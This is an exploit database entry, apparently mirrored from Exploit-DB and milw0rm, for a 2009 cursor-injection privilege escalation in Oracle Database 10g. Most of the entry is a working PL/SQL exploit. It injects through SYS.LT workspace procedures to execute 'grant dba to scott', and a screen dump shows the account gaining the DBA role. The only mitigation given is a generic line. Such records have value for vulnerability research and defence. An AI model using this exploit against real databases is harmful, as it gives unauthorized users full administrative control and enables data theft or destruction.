Cursor Injection in Oracle 10g

vendor:

Database 10g

by:

Sid

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Database 10g

Affected Version From: Oracle 10g

Affected Version To: Oracle 10g

Patch Exists: NO

Related CWE: N/A

CPE: a:oracle:database:10g

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Cursor Injection in Oracle 10g

This exploit is based on cursor injection and does not need create function privileges. It uses DBMS_SQL.OPEN_CURSOR, DBMS_SQL.PARSE, SYS.LT.CREATEWORKSPACE and SYS.LT.COMPRESSWORKSPACETREE functions to grant DBA privileges to the user 'scott'.

Mitigation:

Ensure that user input is properly sanitized and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

This is slightly modified version of: http://milw0rm.com/exploits/7677
This is based on cursor injection and does not need create function privileges:

DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
end;

#-----------screen dump---------------------------------------------------#
SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO

SQL> DECLARE
  2  D NUMBER;
  3  BEGIN
  4  D := DBMS_SQL.OPEN_CURSOR;
  5  DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute imme
diate ''grant dba to scott'';commit;end;',0);
  6  SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
  7  SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
  8  end;
  9
 10
 11  /
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SYS.LT", line 6118
ORA-06512: at "SYS.LT", line 6087
ORA-06512: at line 7


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          DBA                            NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO


Sid
www.notsosecure.com

# milw0rm.com [2009-07-02]